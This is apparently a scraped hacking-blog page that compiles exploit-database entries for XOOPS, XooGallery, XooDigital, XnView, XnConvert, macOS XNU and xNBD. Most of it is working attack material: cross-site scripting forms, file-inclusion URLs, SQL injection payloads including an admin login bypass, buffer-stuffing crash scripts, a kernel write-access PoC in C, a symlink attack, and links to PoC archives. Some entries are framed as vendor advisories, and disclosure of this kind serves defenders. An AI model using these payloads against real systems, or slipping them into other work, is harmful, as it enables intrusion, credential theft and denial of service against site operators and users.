source: https://www.securityfocus.com/bid/53143/info
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
XOOPS 2.5.4 is vulnerable; other versions may be affected.
<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn">
</form>
<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863119717
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/53143/info
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
XOOPS 2.5.4 is vulnerable; other versions may be affected.
<form action='http://www.example.com/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
source: https://www.securityfocus.com/bid/47418/info
XOOPS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view arbitrary local files within the context of the webserver process. Successfully exploiting this issue may lead to other attacks.
XOOPS 2.5.0 is vulnerable; other versions may also be affected.
http://www.example.com/[path]/imagemanager.php?target=/../../../../../../../../boot.ini%00&op=upload
source: https://www.securityfocus.com/bid/47174/info
XOOPS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
XOOPS 2.5.0 is vulnerable; other versions may also be affected.
http://www.example.com/banners.php?click=../../../../../../../boot.ini%00
http://www.example.com/banners.php?click&url=../../../../../../../boot.ini%00
http://www.example.com/banners.php?click&bid=../../../../../../../boot.ini%00
XOOPS Multiple Vulnerabilities
Vendor: XOOPS
Product: XOOPS
Version: <= 2.0.11
Website: http://www.xoops.org/
BID: 14094 14096
CVE: CVE-2005-2112 CVE-2005-2113
OSVDB: 17633 17634 17635
SECUNIA: 15843
PACKETSTORM: 38372
Description:
XOOPS is a very popular dynamic web content management system written in Object Oriented PHP. One of the features of XOOPS is it's own XMLRPC server that handles incoming XMLRPC requests. This particular feature is vulnerable to a highly critical SQL Injection issue. Additionally there are several cross site scripting issues in XOOPS as well which could allow for theft of user data or client side code execution in the context of the victim's web browser.
Cross Site Scripting:
There are a number of cross site scripting issues in the XOOPS content management software.
http://xoops/modules/newbb/edit.php?forum=1&topic_id=1&viewmode=flat&order=
ASC%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/script%3E&post_id=1
http://xoops/modules/repository/comment_edit.php?com_itemid=1&com_order=0&com
_mode=flat&cid=1&cid=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3C/script%3E&com_id=1
These vulnerabilities can be used to render hostile code in the context of the victims browser, and in turn disclose sensitive information to an attacker.
SQL Injection:
As I mentioned earlier XOOPS comes with it's own XMLRPC server which is enabled by default and is named xmlrpc.php The problem with XMLRPC in xoops is lack of sanitation, but because the data is recieved from the reserved $HTTP_RAW_POST_DATA variable magic_quotes_gpc are never applied! This is a big problem and makes every allowable RPC method in the XOOPS XMLRPC server vulnerable to SQL injection. Why? Well, the main reason is this. This code is from the bloggerapi.php file that handles all incoming blogger XMLRPC requests.
function getUserInfo()
{
if (!$this->_checkUser($this->params[1], $this->params[2])) {
$this->response->add(new XoopsXmlRpcFault(104));
} else {
$struct = new XoopsXmlRpcStruct();
$struct->add('nickname', new XoopsXmlRpcString($this->user->getVar('uname')));
$struct->add('userid', new XoopsXmlRpcString($this->user->getVar('uid')));
$struct->add('url', new XoopsXmlRpcString($this->user->getVar('url')));
$struct->add('email', new XoopsXmlRpcString($this->user->getVar('email')));
$struct->add('lastname', new XoopsXmlRpcString(''));
$struct->add('firstname', new XoopsXmlRpcString($this->user->getVar('name')));
$this->response->add($struct);
}
}
the _checkUser function is really just a wrapper for the XMLRPC server, as the arguments are eventually passed to the XOOPS core function "loginUser()" which is where the real problem happens. Below is a sample xml file that when sent to the server will influence the query.
<?xml version="1.0"?>
<methodCall>
<methodName>blogger.getPost</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
<param>
<value><string>admin')/*</string></value>
</param>
<param>
<value><string>passwordfield</string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
This example would authenticate you in as admin and then execute the blogger.getPost method call. An attacker could use this vulnerability to easily gain the administrator hash, and much more.
Solution:
A new version of XOOPS has been released, and users should upgrade as soon as possible.
http://www.xoops.org/modules/news/article.php?storyid=2383
Special thanks to Jan Pederson from XOOPS for acting so quickly on this very high risk issue. Very prompt, very professional!
Credits:
James Bercegay of the GulfTech Security Research Team
source: https://www.securityfocus.com/bid/47085/info
XOOPS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/[path]/modules/jobs/view_photos.php?lid=-9999&uid="><script>alert(document.cookie);</script>
# Exploit Title: XooGallery - Multiple SQL Injections
# Date: 26.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://xooscripts.com/product/html5-php-photo-gallery.html
# Demo Site: http://xooscripts.com/demos/xoogallery/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
----- PoC 1: SQLi -----
Request: http://localhost/[PATH]/gal.php?gal_id=1
Vulnerable Parameter: gal_id (GET)
Payload: gal_id=29' AND 2692=2692 AND 'WCFf'='WCFf
----- PoC 2: SQLi -----
Request: http://localhost/[PATH]/photo.php?photo_id=1
Vulnerable Parameter: photo_id (GET)
Payload: photo_id=1' AND 5479=5479#
----- PoC 3: SQLi -----
Request: http://localhost/[PATH]/cat.php?cat_id=1
Vulnerable Parameter: cat_id (GET)
Payload: cat_id=1' AND 9338=9338 AND 'SZIH'='SZIH
----- PoC 4: SQLi -----
Request: http://localhost/[PATH]/results.php?p=1
Vulnerable Parameter: p (GET)
Payload: p=-8412' OR 2597=2597#
# Exploit Title: XooDigital - 'p' SQL Injection
# Date: 26.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://xooscripts.com/product/digital-download-protection-script.html
# Demo Site: http://xooscripts.com/demos/xoodigital/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
----- PoC : SQLi -----
Request: http://localhost/[PATH]/results.php?p=1
Vulnerable Parameter: p (GET)
Payload: p=1') OR NOT 7970=7970#
# Exploit Title: XnView 2.49.1 - 'Research' Denial of Service (PoC)
# Exploit Author : ZwX
# Exploit Date: 2019-12-17
# Vendor Homepage : http://www.xnview.com
# Link Software : https://www.xnview.com/fr/xnview/#downloads
# Tested on OS: Windows 7
'''
Proof of Concept (PoC):
=======================
1.Download and install XnView
2.Open the XnView for Windows tools
3.Run the python operating script that will create a file (poc.txt)
4.Run the software " Tools -> Research -> A search window opens "
5.Copy and paste the characters in the file (poc.txt)
6.Paste the characters in the field 'File Name' and 'In' click on 'Research'
7.XnView for Windows Crashed
'''
#!/usr/bin/python
DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")
poc = DoS
file = open("poc.txt,"w")
file.write(poc)
file.close()
print "POC Created by ZwX"
mptcp_usr_connectx is the handler for the connectx syscall for the AP_MULTIPATH socket family.
The logic of this function fails to correctly handle source and destination sockaddrs which aren't
AF_INET or AF_INET6:
// verify sa_len for AF_INET:
if (dst->sa_family == AF_INET &&
dst->sa_len != sizeof(mpte->__mpte_dst_v4)) {
mptcplog((LOG_ERR, "%s IPv4 dst len %u\n", __func__,
dst->sa_len),
MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
error = EINVAL;
goto out;
}
// verify sa_len for AF_INET6:
if (dst->sa_family == AF_INET6 &&
dst->sa_len != sizeof(mpte->__mpte_dst_v6)) {
mptcplog((LOG_ERR, "%s IPv6 dst len %u\n", __func__,
dst->sa_len),
MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
error = EINVAL;
goto out;
}
// code doesn't bail if sa_family was neither AF_INET nor AF_INET6
if (!(mpte->mpte_flags & MPTE_SVCTYPE_CHECKED)) {
if (mptcp_entitlement_check(mp_so) < 0) {
error = EPERM;
goto out;
}
mpte->mpte_flags |= MPTE_SVCTYPE_CHECKED;
}
// memcpy with sa_len up to 255:
if ((mp_so->so_state & (SS_ISCONNECTED|SS_ISCONNECTING)) == 0) {
memcpy(&mpte->mpte_dst, dst, dst->sa_len);
}
This PoC triggers the issue to overwrite the mpte_itfinfo field leading to a controlled pointer
being passed to kfree when the socket is closed.
Please note that these lengths seem to be trusted in multiple places - I would strongly suggest auditing
this code quite thoroughly, especially as mptcp can be reached from more places as of iOS 11.
Note that the MPTCP code does seem to be quite buggy; trying to get a nice PoC working for this buffer overflow
bug I accidentally triggered the following error path:
error = socreate_internal(dom, so, SOCK_STREAM, IPPROTO_TCP, p,
SOCF_ASYNC, PROC_NULL);
mpte_lock(mpte);
if (error) {
mptcplog((LOG_ERR, "%s: subflow socreate mp_so 0x%llx unable to create subflow socket error %d\n",
(u_int64_t)VM_KERNEL_ADDRPERM(mp_so), error),
MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
proc_rele(p);
mptcp_subflow_free(mpts);
return (error);
}
note that first argument to mptcplog has one too few arguments. It's probably not so interesting from a security
POV but is indicative of untested code (this error path has clearly never run as it will always kernel panic.)
This PoC is for MacOS but note that this code is reachable on iOS 11 from inside the app sandbox if you give yourself
the multipath entitlement (which app store apps can now use.)
Just run this PoC as root on MacOS for easy repro.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44849.zip
=== Summary ===
This report describes a bug in the XNU implementation of the IPComp protocol
(https://tools.ietf.org/html/rfc3173). This bug can be remotely triggered by an
attacker who is able to send traffic to a macOS system (iOS AFAIK isn't
affected) *over two network interfaces at the same time*.
=== Some basics to provide context ===
IPComp is a protocol for compressing the payload of IP packets.
The XNU implementation of IPComp is (going by the last public XNU release)
enabled only on X86-64; ARM64 doesn't seem to have the feature enabled at all
(look for ipcomp_zlib in config/MASTER.x86_64 and config/MASTER.arm64). In other
words, it's enabled on macOS and disabled on iOS.
While IPComp is related to IPsec, the IPComp input path processes input even
when the user has not configured any IPsec stuff on the system.
zlib requires fairly large buffers for decompression and especially for
compression. In order to avoid allocating such buffers for each packet, IPComp
uses two global z_stream instances "deflate_stream" and "inflate_stream".
If IPComp isn't used, the buffer pointers in these z_stream instances remain
NULL; only when IPComp is actually used, the kernel will attempt to initialize
the buffer pointers.
As far as I can tell, the IPComp implementation of XNU has been completely
broken for years, which makes it impossible to actually reach the decompression
code. ipcomp_algorithm_lookup() is responsible for allocating global buffers for
the compression and decompression code; however, all of these allocations go
through deflate_alloc(), which (since xnu-1228, which corresponds to macOS 10.5
from 2007) calls _MALLOC() with M_NOWAIT. _MALLOC() leads to kalloc_canblock(),
which, if the M_NOWAIT flag was set and the allocation is too big for a kalloc
zone (size >= kalloc_max_prerounded), immediately returns NULL. On X86-64,
kalloc_max_prerounded is 0x2001; both deflateInit2() and inflateInit2() attempt
allocations bigger than that, causing them to fail with Z_MEM_ERROR, as is
visible with dtrace when observing the system's reaction to a single incoming
IPComp packet [empty lines removed]:
```
bash-3.2# ./inflate_test.dtrace
dtrace: script './inflate_test.dtrace' matched 11 probes
CPU ID FUNCTION:NAME
0 243037 deflateInit2_:entry deflate init (thread=ffffff802db84a40)
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x1738, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff80496b9800
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff802f42f000
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
0 243038 deflateInit2_:return rval=0xfffffffc
0 243073 inflateInit2_:entry inflate init (thread=ffffff802db84a40)
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2550, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
0 243074 inflateInit2_:return rval=0xfffffffc
```
(On iOS, the kalloc() limit seems to be higher, so if IPComp was built there,
the input path might actually work?)
=== main bug description ===
IPComp uses a single global `static z_stream inflate_stream` for decompressing
all incoming packets. This global is used without any locking. While processing
of packets from a single interface seems to be single-threaded, packets arriving
on multiple ethernet interfaces at the same time (or on an ethernet interface
and a non-ethernet interface) can be processed in parallel (see
dlil_create_input_thread() and its caller for the precise threading rules).
Since zlib isn't designed for concurrent use of a z_stream, this leads to memory
corruption.
If IPComp actually worked, I believe that this bug would lead to
things like out-of-bounds reads, out-of-bounds writes and use-after-frees.
However, since IPComp never actually manages to set up the compression and
decompression state, the bug instead manifests in the code that, for every
incoming IPComp packet, attempts to set up the deflate buffers and tears down
the successfully allocated buffers because some of the allocations failed:
```
int ZEXPORT
deflateInit2_(z_streamp strm, int level, int method, int windowBits,
int memLevel, int strategy, const char *version,
int stream_size)
{
[...]
if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED ||
windowBits < 8 || windowBits > 15 || level < 0 || level > 9 ||
strategy < 0 || strategy > Z_FIXED) {
return Z_STREAM_ERROR;
}
if (windowBits == 8) windowBits = 9; /* until 256-byte window bug fixed */
s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state));
if (s == Z_NULL) return Z_MEM_ERROR;
strm->state = (struct internal_state FAR *)s;
[...]
s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte));
s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos));
s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos));
s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */
overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2);
s->pending_buf = (uchf *) overlay;
[...]
if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL ||
s->pending_buf == Z_NULL) {
[...]
deflateEnd (strm);
return Z_MEM_ERROR;
}
[...]
}
[...]
int ZEXPORT
deflateEnd(z_streamp strm)
{
[...]
/* Deallocate in reverse order of allocations: */
TRY_FREE(strm, strm->state->pending_buf);
TRY_FREE(strm, strm->state->head);
TRY_FREE(strm, strm->state->prev);
TRY_FREE(strm, strm->state->window);
ZFREE(strm, strm->state);
strm->state = Z_NULL;
return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK;
}
```
When multiple executions of this code race, it is possible for two threads to
free the same buffer, causing a double-free:
```
*** Panic Report ***
panic(cpu 2 caller 0xffffff8012802df5): "zfree: double free of 0xffffff80285d9000 to zone kalloc.8192\n"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4903.261.4/osfmk/kern/zalloc.c:1304
Backtrace (CPU 2), Frame : Return Address
0xffffff912141b420 : 0xffffff80127aea2d mach_kernel : _handle_debugger_trap + 0x47d
0xffffff912141b470 : 0xffffff80128e9e95 mach_kernel : _kdp_i386_trap + 0x155
0xffffff912141b4b0 : 0xffffff80128db70a mach_kernel : _kernel_trap + 0x50a
0xffffff912141b520 : 0xffffff801275bb40 mach_kernel : _return_from_trap + 0xe0
0xffffff912141b540 : 0xffffff80127ae447 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff912141b660 : 0xffffff80127ae293 mach_kernel : _panic + 0x63
0xffffff912141b6d0 : 0xffffff8012802df5 mach_kernel : _zcram + 0xa15
0xffffff912141b710 : 0xffffff8012804d4a mach_kernel : _zfree + 0x67a
0xffffff912141b7f0 : 0xffffff80127bac58 mach_kernel : _kfree_addr + 0x68
0xffffff912141b850 : 0xffffff8012dfc837 mach_kernel : _deflateEnd + 0x87
0xffffff912141b870 : 0xffffff8012dfc793 mach_kernel : _deflateInit2_ + 0x253
0xffffff912141b8c0 : 0xffffff8012c164a3 mach_kernel : _ipcomp_algorithm_lookup + 0x63
0xffffff912141b8f0 : 0xffffff8012c16fb2 mach_kernel : _ipcomp4_input + 0x112
0xffffff912141b990 : 0xffffff8012b89907 mach_kernel : _ip_proto_dispatch_in_wrapper + 0x1a7
0xffffff912141b9e0 : 0xffffff8012b8bfa6 mach_kernel : _ip_input + 0x18b6
0xffffff912141ba40 : 0xffffff8012b8a5a9 mach_kernel : _ip_input_process_list + 0xc69
0xffffff912141bcb0 : 0xffffff8012aac3ed mach_kernel : _proto_input + 0x9d
0xffffff912141bce0 : 0xffffff8012a76c41 mach_kernel : _ether_attach_inet + 0x471
0xffffff912141bd70 : 0xffffff8012a6b036 mach_kernel : _dlil_rxpoll_set_params + 0x1b36
0xffffff912141bda0 : 0xffffff8012a6aedc mach_kernel : _dlil_rxpoll_set_params + 0x19dc
0xffffff912141bf10 : 0xffffff8012a692e9 mach_kernel : _ifp_if_ioctl + 0x10d9
0xffffff912141bfa0 : 0xffffff801275b0ce mach_kernel : _call_continuation + 0x2e
BSD process name corresponding to current thread: kernel_task
Boot args: -zp -v keepsyms=1
Mac OS version:
18F132
Kernel version:
Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDT 2019; root:xnu-4903.261.4~2/RELEASE_X86_64
Kernel UUID: 7C8BB636-E593-3CE4-8528-9BD24A688851
Kernel slide: 0x0000000012400000
Kernel text base: 0xffffff8012600000
__HIB text base: 0xffffff8012500000
System model name: Macmini7,1 (Mac-XXXXXXXXXXXXXXXX)
```
=== Repro steps ===
You'll need a Mac (I used a Mac mini) and a Linux workstation.
Stick two USB ethernet adapters into the Mac.
Make sure that your Linux workstation has two free ethernet ports; if it
doesn't, also stick USB ethernet adapters into your workstation.
Take two ethernet cables; for both of them, stick one end into the Linux
workstation and the other end into the Mac.
Set up static IP addresses for both interfaces on the Linux box and the Mac. I'm
using:
- Linux, first connection: 192.168.250.1/24
- Mac, first connection: 192.168.250.2/24
- Linux, second connection: 192.168.251.1/24
- Mac, second connection: 192.168.251.2/24
On the Linux workstation, ping both IP addresses of the Mac, then dump the
relevant ARP table entries:
```
$ ping -c1 192.168.250.2
PING 192.168.250.2 (192.168.250.2) 56(84) bytes of data.
64 bytes from 192.168.250.2: icmp_seq=1 ttl=64 time=0.794 ms
[...]
$ ping -c1 192.168.251.2
PING 192.168.251.2 (192.168.251.2) 56(84) bytes of data.
64 bytes from 192.168.251.2: icmp_seq=1 ttl=64 time=0.762 ms
[...]
$ arp -n | egrep '192\.168\.25[01]'
192.168.250.2 ether aa:aa:aa:aa:aa:aa C eth0
192.168.251.2 ether bb:bb:bb:bb:bb:bb C eth1
$
```
On the Linux workstation, build the attached ipcomp_uaf.c and run it:
```
$ gcc -o ipcomp_recursion ipcomp_recursion.c -Wall
$ sudo bash
# ./ipcomp_uaf
usage: ./ipcomp_uaf <if1> <target_mac1> <src_ip1> <dst_ip1> <if2> <target_mac2> <src_ip2> <dst_ip2>
# ./ipcomp_uaf eth0 aa:aa:aa:aa:aa:aa 192.168.250.1 192.168.250.2 eth1 bb:bb:bb:bb:bb:bb 192.168.251.1 192.168.251.2
```
After something like a second, you should be able to observe that the Mac panics.
I have observed panics via double-free and via null deref triggered by the PoC.
(Stop the PoC afterwards, otherwise it'll panic again as soon as the network
interfaces are up.)
(The PoC also works if you use broadcast addresses as follows: ```
# ./ipcomp_uaf eth0 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255 eth1 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255
```)
=== Fixing the bug ===
I believe that by far the best way to fix this issue is to rip out the entire
feature. Unless I'm missing some way for the initialization to succeed, it looks
like nobody can have successfully used this feature in the last few years; and
apparently nobody felt strongly enough about that to get the feature fixed.
At the same time, this thing is remote attack surface in the IP stack, and it
looks like it has already led to a remote DoS bug in the past - the first search
result on bing.com for both "ipcomp macos" and "ipcomp xnu" is
<https://www.exploit-db.com/exploits/5191>.
In case you decide to fix the bug in a different way, please note:
- I believe that this can *NOT* be fixed by removing the PR_PROTOLOCK flag from
the entries in `inetsw` and `inet6sw`. While removal of that flag would cause
the input code to take the domain mutex before invoking the protocol handler,
IPv4 and IPv6 are different domains, and so concurrent processing of
IPv4+IPComp and IPv6+IPComp packets would probably still trigger the bug.
- If you decide to fix the memory allocation of IPComp so that the input path
works again (please don't - you'll never again have such a great way to prove
that nobody is using that code), I think another bug will become reachable:
I don't see anything that prevents unbounded recursion between
ip_proto_dispatch_in() and ipcomp4_input() using an IP packet with a series
of IPComp headers, which would be usable to cause a kernel panic via stack
overflow with a single IP packet.
In case you want to play with that, I wrote a PoC that generates packets with
100 such headers and attached it as ipcomp_recursion.c.
(The other IPv6 handlers for pseudo-protocols like IPPROTO_FRAGMENT seem to
avoid this problem by having the )
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47479.zip
When the mmap() syscall is invoked on a POSIX shared memory segment
(DTYPE_PSXSHM), pshm_mmap() maps the shared memory segment's pages into the
address space of the calling process. It does this with the following code:
int prot = uap->prot;
[...]
if ((prot & PROT_WRITE) && ((fp->f_flag & FWRITE) == 0)) {
return(EPERM);
}
[...]
kret = vm_map_enter_mem_object(
user_map,
&user_addr,
map_size,
0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
vmk_flags,
VM_KERN_MEMORY_NONE,
pshmobj->pshmo_memobject,
file_pos - map_pos,
docow,
prot,
VM_PROT_DEFAULT,
VM_INHERIT_SHARE);
vm_map_enter_mem_object() has the following declaration:
/* Enter a mapping of a memory object */
extern kern_return_t vm_map_enter_mem_object(
vm_map_t map,
vm_map_offset_t *address,
vm_map_size_t size,
vm_map_offset_t mask,
int flags,
vm_map_kernel_flags_t vmk_flags,
vm_tag_t tag,
ipc_port_t port,
vm_object_offset_t offset,
boolean_t needs_copy,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance);
This means that `cur_protection` (the initial protection flags for the new memory
object) will be `prot`, which contains the requested protection flags, checked
against the mode of the open file to ensure that a read-only file descriptor can
only be used to create a readonly mapping. However, `max_protection` is always
`VM_PROT_DEFAULT`, which is defined as `VM_PROT_READ|VM_PROT_WRITE`.
Therefore, an attacker with readonly access to a POSIX shared memory segment can
first use mmap() to create a readonly shared mapping of it, then use mprotect()
- which is limited by `max_protection` - to gain write access.
To reproduce:
In terminal 1, as root:
=========================================
bash-3.2# cat > create.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
shm_unlink("/jh_test");
int fd = shm_open("/jh_test", O_RDWR|O_CREAT|O_EXCL, 0644);
if (fd == -1) err(1, "shm_open");
if (ftruncate(fd, 0x1000)) err(1, "trunc");
char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) err(1, "mmap");
printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
printf("press enter to continue\n");
getchar();
printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
}
bash-3.2# cc -o create create.c && ./create
map[0] = 0x0
press enter to continue
=========================================
In terminal 2, as user:
=========================================
Projects-Mac-mini:posix_shm projectzero$ cat > open.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
int main(void) {
int fd = shm_open("/jh_test", O_RDWR);
if (fd == -1) perror("open RW");
fd = shm_open("/jh_test", O_RDONLY);
if (fd == -1) err(1, "open RO");
char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) perror("map RW");
map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) err(1, "map RO");
if (mprotect(map, 0x1000, PROT_READ|PROT_WRITE)) err(1, "mprotect");
map[0] = 0x42;
}
Projects-Mac-mini:posix_shm projectzero$ cc -o open open.c && ./open
open RW: Permission denied
map RW: Operation not permitted
Projects-Mac-mini:posix_shm projectzero$
=========================================
Then, in terminal 1, press enter to continue:
=========================================
map[0] = 0x42
bash-3.2#
=========================================
This demonstrates that the user was able to write to a root-owned POSIX shared
memory segment with mode 0644.
# Exploit Title: XnConvert 1.82 - Denial of Service (PoC)
# Date: 2019-12-21
# Vendor Homepage: https://www.xnview.com
# Software Link: https://www.xnview.com/en/apps/
# Exploit Author: Gokkulraj (TwinTech Solutions)
# Tested Version: v1.82
# Tested on: Windows 7 x64
# 1.- Download and install XnConvert
# 2.- Run python code : XnConvert.py
# 3.- Open EVIL.txt and copy content to clipboard
# 4.- Open XnConvert and Click 'EnterKey'
# 5.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 6.- Click 'OK' and you will see a pop-up stating Invalid code and then click 'OK' you will see the crash.
#!/usr/bin/env python
Dos= "\x41" * 9000
myfile=open('Evil.txt','w')
myfile.writelines(Dos)
myfile.close()
print("File created")
source: https://www.securityfocus.com/bid/57784/info
xNBD is prone to a vulnerability because it handles temporary files in an insecure manner.
Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.
$ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log
$ touch DISK
$ truncate --size=$((100*1024**2)) DISK
$ /usr/sbin/xnbd-server --daemonize --target DISK
